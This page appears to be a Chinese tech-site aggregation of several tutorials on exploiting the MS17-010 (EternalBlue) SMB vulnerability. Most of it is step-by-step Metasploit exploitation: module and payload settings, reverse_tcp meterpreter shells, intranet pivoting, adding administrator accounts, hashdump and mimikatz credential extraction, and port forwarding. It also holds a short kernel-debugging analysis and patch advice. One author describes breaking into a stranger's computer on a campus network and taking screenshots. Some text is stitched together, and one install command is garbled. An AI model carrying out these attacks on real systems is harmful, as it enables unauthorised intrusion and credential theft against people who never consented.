ms17010漏洞复现,ms17010漏洞修复

http://www.itjxue.com  2023-01-13 07:32  来源:未知  点击次数: 

MSF利用ms17_010实验

该漏洞具有非常大的危害性,这个漏洞导致攻击者在目标系统上可以执行任意代,包括格式化电脑删除重要的内容。

当然漏洞非常的古老了,防范只需要打个补丁,再不济关闭445端口。

首先打开终端输入

curl msfinstall chmod 755 msfinstall ./msfinstall

安装成功就能指令msfconsole来使用了

MSF功能不止有利用ms17010,所以我们要选择对应的模块,其中利用到

auxiliary/scanner/smb/smb_ms17_010扫描工具模块

exploit/windows/smb/ms17_010_eternalblue利用工具模块

由于我实现环境是在校园网环境中,所以也就对校园网进行网段的扫描,我进入是我们的校园无线网络,连接不需要获得认证上网功能就可以实现漏洞攻击。

首先是查看自己IP

再利用扫描工具来对网段任何的B段进行扫描

扫出结果10.120.65.230IP存在漏洞风险,使用工具进行攻击

其中rhost为目标主机ip,lhost为自身监听ip

显示攻击成功了,这个时候,已经可以对被攻击者为所欲为了

打中后可以输入help来查看能执行的操作

screenshot来进行截图屏幕

发现在打游戏,偷偷的不要打扰到别人哦,上传一个txt提示他存在漏洞需要修复打补丁了呢,实验成功,点到为止哦。

[工具编写][漏洞研究]MS17-010分析-上

win7 sp1 32bits srv.sys 6.1.7601.17514

srvnet.sys 6.1.7601.17514

PS:这两个文件在 C:\Windows\System32\drivers 下

windbg双机调试

该漏洞主要是利用smb1在处理一个结构体转换过程中,错误计算了大小,导致的溢出。Nasa的工具集的EternalBlue利用这个溢出,对后面相连的一个内存池做了覆盖,并利用堆喷射的技巧,精准覆盖了0xffdff000的可执行内存,这个内存本来是系统预留用于存储一些配置信息的(Win7x86中是这个地址,Win7x64中是0xffffffffffd00010),最终在srvnet!SrvNetWskReceiveComplete这个函数中触发了shellcode。

溢出漏洞的函数链 :

srv!SrvSmbOpen2 - srv!SrvOs2FeaListToNt - srv!SrvOs2FeaListSizeToNt - srv!SrvOs2FeaToNt

3.下以下几个断点

bu srv!SrvOs2FeaListSizeToNt 内存长度计算出错的函数

bu srv!SrvOs2FeaToNt 内存实际溢出的函数

bu srv!SrvOs2FeaListToNt 上层函数

bu srv!SrvSmbOpen2 接收数据的地方

10. SrvOs2FeaListSizeToNt 的函数分析如下图

关键点在于 mov word ptr [eax], si 这个汇编语句,仅赋值了低位数据 :

11.下个断点,看一下poc的结构体分布。

本来后面想研究一下它怎么实现的堆布局,以及覆盖这部分内存是什么结构体,以及shellcode写入的包是在哪个部分的,发现自个有点搞不动了,看几天书回忆回忆再来弄。

之前分析wanacry的时候感觉挺简单的,内核分析感觉像是在盲人摸象,每一次观察都能有新的东西,但是又始终无法有一个完整清晰的轮廓。

一份好心人的windows源码

一份可以让你在三环弄明白大致原理的分析文章

一份隐藏了利用细节,但是展现详细调试细节的文章

ms17010漏洞利用msf | 2019-03-27 ms070-

0x01 实验环境

攻击机:kali linux

ip:10.10.10.131

目标机:windows 2008 R2

ip:10.10.10.132

0x02 配置exploit

msf use exploit/windows/smb/ms17_010_eternalblue

msf exploit(ms17_010_eternalblue) set rhost 10.10.10.132

rhost = 10.10.10.132

查看选项

msf exploit(ms17_010_eternalblue) show options

设置目标机的IP,其他选项默认就可以;

注意:选项中说明了此exploit对应的目标系统,所以并不是具有该漏洞的系统都能利用此exploit;

0x03 配置payload

payload只需要配置监听返回会话的IP;

msf exploit(ms17_010_eternalblue) set payload windows/x64/meterpreter/reverse_tcp

payload = windows/x64/meterpreter/reverse_tcp

msf exploit(ms17_010_eternalblue) set lhost 10.10.10.131

lhost = 10.10.10.131

0x04 开始攻击

警告:攻击过程可能导致目标系统宕机重启,谨慎操作!

msf exploit(ms17_010_eternalblue) exploit

成功获得session。

shell 进入主机操作

内网渗透之ms17-010

在内网渗透时,通常挂上代理后。在内网首先会打啵ms17-010。在实战中,使用msf的ms17-010模块,数次没有反弹成功。基于此,到底如何成功利用ms17-010

在msf成功接收session之后,添加路由

然后使用ms17-010相关的模块进行探测是否存在该漏洞。

尝试利用

LHOST配置为公网IP

可以看到success。漏洞是可以利用的,但始终没有session。不知道什么原因。

参考资料: 利用公网Msf+MS17010跨网段攻击内网

笔者在本地搭建环境,也是同样的结果。尝试更改payload为

bind_tcp攻击者去连接,容易被防火墙和杀毒发现

可以成功生成session,但并不稳定,且在run的过程中非常容易导致本来的session died

在实际使用msf的ms17_010_eternalblue模块时,笔者观察到有几个弊端。

1.session 很容易died

2.ms17_010_eternalblue模块利用起来非常耗时

3.无法利用成功

有大佬推荐使用原始的fb.py。但配置起来感觉麻烦一些。

所以。笔者从i春秋上找到一个轻便的方程式漏洞利用工具。

参考资料: 萌新初试MS17-010方程式漏洞

工具使用起来很简单。只需要msfvenom生成一个x64或x86的dll文件,替换该工具下的x64.dll或x86.dll 。再依次点击Eternalblue、Doublepulsar 的Attack即可。在Attack的时候,调用x64.dll动态链接库,反弹到公网IP。原理和fb.py一样。

笔者通过ew代理进内网后,在跳板机上上传了方程式漏洞利用工具、网安永恒之蓝检测工具。两者结合,威力巨大。成功利用ms17-010

对于windows server 2008 ,msfvenom生成x64.dll文件

msf配置

将该x64.dll替换到方程式利用工具下面。

只需要更换目标的IP,就可以获取session。

对于windows server 2003 ,msfvenom生成x86.dll文件

msf配置

进一步利用的一些命令

实际测试发现这种session非常稳定。不会轻易go die

实际测试server 2003的ms17-010时,有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏。

所以笔者选择一种稳定可靠一些的办法。

先通过ms17_010_commend模块执行系统命令添加用户至管理员。再指定SMBPass和SMBUser来建立windows可访问命名管道[accessible named pipe]

参考资料 Metasploit 「永恒之蓝」两种模块的利弊

system的权限可以直接激活guest用户添加管理员组。

注意:使用ms17_010_psexec需要指定管理员的用户名、密码,否则没有session

同样的操作,载入mimikatz,读取管理员密码。

ms17010漏洞的简单利用

(第一次在发表文章,没啥经验,分享一些学习经验。大佬们多多包涵,也希望大家能够指出我的错误。)

靶机:windows7 x64? IP:192.168.1.5

攻击机:Kali Rolling (2019.3) x64 IP:192.168.1.3

两台主机在同一网段内;win7关闭防火墙并且开启445端口。

1、使用ipconfig/ifconfig分别查看win7和kali的ip。

2、打开msf工具

每次开启都会有不同的界面

3、使用search命令搜索ms17_010

4、选择模块和设置条件

使用use来选择第三个模块,可以直接 use 2,也可以打全

然后用set来设置靶机IP set rhost 192.168.1.5

设置本机IP set lhost 192.168.1.3

设置监听端口 set lport 8888 不设置则默认4444端口

设置payload set payload windows/x64/meterpreter/reverse_tcp

还有另外一个payload能用于本实验,具体可以 show payloads 查看

最后,可以使用show options检查所有信息

5、开始渗透 run

稍等片刻 看到win则成功创建会话

6、成功之后,可以开启Windows7的摄像头,截图等等

具体可以用help查看

1、关闭445端口

2、打开防火墙,安装安全软件

3、安装对应补丁,这里就不放链接了

关闭445端口的方法:

1)打开控制面板----Windows防火墙----高级设置

2)点击新建规则,设置端口号的规则并且命名(如图)

msf工具虽然强大,但只能用于已知的并且已提交模块的漏洞。要理解漏洞原理,理解如何使用漏洞,甚至自己挖洞才能做到真正的去攻击。而不是简单的使用工具use和set。

MS17-010远程溢出漏洞(CVE-2017-0143)

Nmap :端口扫描探测工具,用于探测端口开放情况,本次使用其端口扫描和漏洞扫描功能

mestasploit :开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其漏洞利用模块、meterpreter组件

漏洞原理简述

MS17-010漏洞出现在Windows SMB v1中的内核态函数 srv!SrvOs2FeaListToNt 在处理 FEA (File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。

函数 srv!SrvOs2FeaListToNt 在将 FEA list转换成 NTFEA (Windows NT FEA) list前会调用 srv!SrvOs2FeaListSizeToNt 去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。

曾经NSA工具箱泄露时,我们已经对永恒之蓝这个工具的使用做过讲解! 【NSA黑客工具包】Windows 0day验证实验 。

然而,该工具的使用环境比较苛刻,而且操作较为复杂,现在msf已经加入该系列工具,使用方法更便捷。接下来,就开始操作吧!

打开Kali终端,使用Nmap对目标机开放端口进行扫描

目标机开放了 135 139 445 3389 等端口,且目标机系统为Windows7,

我们使用用扫描模块,判断该漏洞是否可利用

终端内输入

打开 metasploite 命令行客户端,使用 search 命令查找ms17-010漏洞的相关模块

如下是相关可用模块

使用 use 命令选择我们要使用的扫描模块

在运行该模块之前,需要设置相关选项,我们使用 show options 查看配置信息

需要设置目标地址,设置命令:

设置完成后,执行 run 或 exploit 命令,等待执行结果

从上一步骤可以看出,该漏洞是可被利用的,接下来,我们祭出漏洞利用模块

步骤同上,查看配置信息,并设置标记为yes的属性

show options

目标机host地址:172.16.12.2

set RHOST 172.16.12.2

之后,选择载荷 payload ,也就是 shellcode ,此处我们选择回连至控制端 shell 的 payload

同样,载荷也需要进行配置, show options 查看配置信息

配置中缺少本地主机 RHOST,设置一下

完成配置后,运行 exploit 或者 run ,开始执行漏洞利用模块

成功获取来自目标主机的Session会话

我们已经成功的获取Session会话了,本次我们继续介绍meterpreter后渗透模块的其他功能

运行 sysinfo 查看目标机器相关信息

执行 help 命令可以帮助我们了解meterpreter有哪些功能

接下来,我们获取目标机hash值

执行 hashdump

mimikatz 是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等, meterpreter 中正集成了这款工具。

执行 load mimikatz 即可加载该工具,其命令与 mimikatz 一样

运行命令 msv ,导出hash

然后执行 kerberos 即可获得目标机账号密码

获取了目标机的账号密码,我们结合nmap的扫描结果,可以远程登陆目标机 但是现实中,防火墙一般会拦截外来3389端口的访问请求,这种情况下该怎么解决呢?

我们可以使用端口转发工具,将端口转发到访问者本地机器的某个端口,从而进行连接

运行命令

此处,我们将远程目标的3389端口,转发到本机 172.16.11.2的3389上

如此,我们只要执行

即可登陆远程目标机器

通过本次实验,我们熟悉了从发现漏洞、到验证漏洞、再到利用漏洞这一过程,并进一步学习了Metasploit的后渗透模块的其他使用案例。

通过结合实例去学习MSF的使用,反复训练,相信大家一定能熟能生巧,彻底掌握这一工具。

(责任编辑:IT教学网)

更多

推荐Fireworks教程文章